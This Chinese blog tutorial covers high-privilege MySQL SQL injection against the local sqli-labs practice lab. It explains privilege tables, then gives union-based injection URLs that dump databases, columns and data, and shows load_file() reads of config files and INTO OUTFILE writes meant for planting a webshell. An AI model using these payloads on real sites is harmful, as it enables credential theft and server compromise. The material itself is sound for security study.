• sql注入之高权限注入和文件读写


    死在山野的风里,活在自由的梦里

    高权限注入

    在数据库中区分有数据库系统用户与数据库普通用户,高权限系统用户拥有整个服务器数据库的操作权限,而普通用户只拥有部分已配置的权限。

    取得高权限用户权限,可以查看所有数据库,还可以对服务器文件进行读写操作。

    1.多个网站共享mysql服务器

    为什么会出现高权限注入的原因

    在这里插入图片描述

    在这里插入图片描述

    连接mysql的配置文件

    在这里插入图片描述

    2.MySQL 权限介绍

    mysql中存在4个控制权限的表,分别为user表,db表,tables_priv(表权限)表,columns_priv(列权限)表,我当前的版本mysql 5.7.22 。

    mysql权限表的验证过程为:
    	先从user表中的Host,User,Password这3个字段中判断连接的ip、用户名、密码是否存在,存在则通过验证。
    
    通过身份认证后,进行权限分配,
    	按照user,db,tables_priv,columns_priv的顺序进行验证。
    	即先检查全局权限表user,如果user中对应的权限为Y,则此用户对所有数据库的权限都为Y,
    	将不再检查db, tables_priv,columns_priv;如果为N,则到db表中检查此用户对应的具体数据库,
    	并得到db中为Y的权限;如果db中为N,则检查tables_priv中此数据库对应的具体表,取得表中的权限Y,以此类推。
    	
    	 2.1 系统权限表
    	User表:存放用户账户信息以及全局级别(所有数据库)权限,决定了来自哪些主机的哪些用户可以访问数据库实例,如果有全局权限则意味着对所有数据库都有此权限 
    	Db表:存放数据库级别的权限,决定了来自哪些主机的哪些用户可以访问此数据库 
    	Tables_priv表:存放表级别的权限,决定了来自哪些主机的哪些用户可以访问数据库的这个表 
    	Columns_priv表:存放列级别的权限,决定了来自哪些主机的哪些用户可以访问数据库表的这个字段 
    	Procs_priv表:存放存储过程和函数级别的权限
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    (1)查看root的权限

    select * from user where user='root' and host='localhost'\G;
    
    • 1

    (2)给普通用户test1所有权限

    GRANT ALL PRIVILEGES ON *.* To 'test1'@'localhost' WITH GRANT OPTION;
    
    • 1

    在这里插入图片描述
    (3)查看mysql 有哪些用户:
    mysql> select user,host from mysql.user;

    (4)创建 mysql 用户
    有两种方式创建MySQL授权用户

    执行create user/grant命令(推荐方式)
    CREATE USER 'finley'@'localhost' IDENTIFIED BY 'some_pass';
    通过insert语句直接操作MySQL系统权限表
    
    • 1
    • 2
    • 3

    (5)只提供id查询权限

    让user1有test库的t1表的读取id的权限

     grant select(id) on test.t1 to user1@'localhost' identified by '123456';
    
    • 1

    (6)删除用户

    drop user finley@'localhost';
    
    • 1

    3.注入流程

    查询所有数据库名称

    在这里插入图片描述

    http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata
    
    • 1
    查询表名对应的字段名

    在这里插入图片描述

    http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7431
    
    • 1
    查询数据

    在这里插入图片描述

    http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,name,pass%20from%20test.t1
    
    • 1

    文件读写

    1.文件读写注入的原理

    就是利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息。

    2.文件读写注入的条件

    高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限

    secure_file_priv选项

    linux
    cat /etc/my.cnf
        [mysqld]
        secure_file_priv=
    
    win
       my.ini
          [mysqld]
             secure_file_priv=
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    查看mysql全局变量的配置

    show global variables like '%secure%'
    
    • 1

    1、读写文件需要 secure_file_priv权限

    secure_file_priv=

    代表对文件读写没有限制

    secure_file_priv=NULL

    代表不能进行文件读写

    secure_file_priv=d:/phpstudy/mysql/data

    代表只能对该路径下文件进行读写
    在这里插入图片描述
    2、知道网站绝对路径

    Windows常见:
    在这里插入图片描述
    Linux常见:
    在这里插入图片描述
    路径获取常见方式:

    报错显示,遗留文件,漏洞报错,平台配置文件等

    3.读取文件

    使用函数:load_file()

    union select load_file('绝对路径');
    
    • 1

    在这里插入图片描述

    在这里插入图片描述
    后面的路径可以是单引号,0x,char转换的字符。

    注意:路径中斜杠是/不是\。

    一般可以与union中做为一个字段使用,查看config.php(即mysql的密码),apache配置…

    4.写入文件
    union select 1,'',3 into outfile 'd:/1.php'
    
    • 1

    在这里插入图片描述
    使用函数:Into Outfile(能写入多行,按格式输出)和 into Dumpfile(只能写入一行且没有输出格式)

    outfile 后面不能接0x开头或者char转换以后的路径,只能是单引号路径

  • 相关阅读:
    获取了文心一言的内测及与其ChatGPT、GPT-4 对比结果
    numpy(2)
    快速入门Flutter:从零开始构建你的第一个应用
    Mybatis知识【Mapper代理开发&核心配置】第三章
    动态规划 | 完全背包问题 | 组成背包的`最少`元素数量| leecode刷题笔记
    【Linux】最新CentOS8内核升级
    【分类网络】VGG
    【数据结构】搜索树&Map&Set
    python基础02——字符串
    二叉树--后缀表达式转二叉树
  • 原文地址:https://blog.csdn.net/dyjkl/article/details/132827018